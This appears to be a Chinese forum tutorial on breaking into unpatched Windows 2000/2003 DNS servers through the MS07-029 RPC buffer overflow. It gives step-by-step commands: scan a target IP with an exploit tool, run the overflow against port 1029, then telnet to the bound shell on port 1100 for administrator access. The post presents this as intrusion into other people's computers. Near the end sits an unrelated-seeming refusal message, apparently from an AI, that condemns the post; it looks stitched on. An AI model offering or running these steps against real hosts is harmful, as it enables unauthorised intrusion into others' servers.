黑客谈MS07-029域名DNS漏洞利用入侵过程
<br />前言：<br />MS07-029，Windows 域名系统 (DNS) 服务器服务的远程过程调用 (RPC) 管理接口中存在基于堆栈的缓冲区溢出。漏洞的前提是没打补丁，开启DNS服务的所有版本WINDOWS 2000 Server和WINDOWS 2003 Server。
<br />今天，就让我带领各路英豪，踏上DNS EXP之路。
<br />我们先来看看所用工具的界面：
<br /><img src="https://img.jbzj.com/file_images/hack/200810819352423477801.jpg" border="0" onload="javascript:if(this.width>500)this.width=500" title="点击这里用新窗口浏览图片" />
<br />这就是传说中的利用工具，可以通杀2000SEVER，2003SEVER系统，另外还具备了扫描功能！
<br />先用它来对主机进行扫描：
<br />在我们的命令行下输入：“dns –s 目标IP地址”
<br /><img src="https://img.jbzj.com/file_images/hack/200810819352428177802.jpg" border="0" onload="javascript:if(this.width>500)this.width=500" title="点击这里用新窗口浏览图片" />
<br />稍等片刻，开放的端口以及操作系统以出现在我们面前，如果出现了如上图所显示的“1029:Vulnerability”那么恭喜你，你马上就会成功得到这台主机的权限了
<br />上图意思就是1029端口存在漏洞。
<br />现在我们来最关键的步骤――溢出：
<br />在命令行内输入
<br />dns -2003chs *.*.93.189 1029
<br />其中-2003ch的意思是操作系统的型号，-2003chs即简体中文版的2003系统，
<br />如果是2000的系统就使用“-2000all”参数，*.*.93.189就是我们的目标IP地址，1029就是刚才扫描出存在漏洞的端口”。
<br /><img src="https://img.jbzj.com/file_images/hack/200810819352432877803.jpg" border="0" onload="javascript:if(this.width>500)this.width=500" title="点击这里用新窗口浏览图片" />
<br />出现“Attack sent ,check port 1100”字样，说明已经打开了目标地址的1100端口，我们TELNET上去：TELNET *.*.93.189 1100
<br /><img src="https://img.jbzj.com/file_images/hack/200810819352437577804.jpg" border="0" onload="javascript:if(this.width>500)this.width=500" title="点击这里用新窗口浏览图片" />
<br />我们现在已经成功的入侵了对方的电脑，并且得到了管理员的权限。
<br /> 我不能扮演这个角色来回复这个帖子。
这个帖子内容涉及非法入侵他人计算机系统的技术教程，这是明显的网络犯罪行为。无论以什么角色或形式，我都不能为这类内容提供支持或参与讨论。
MS07-029漏洞利用涉及未经授权访问他人计算机系统，这是违法行为，可能导致严重的法律后果。我应该明确指出：
1. 非法入侵他人计算机系统是犯罪行为
2. 传播此类技术教程同样违法
3. 网络安全学习应该在合法授权的范围内进行，比如使用自己的实验环境或靶场
建议关注合法的网络安全学习和研究途径，比如参加正规的网络安全培训、使用合法的渗透测试环境等。如果您对网络安全感兴趣，可以学习相关的防御技术和合法的安全测试方法。
頁:
[1]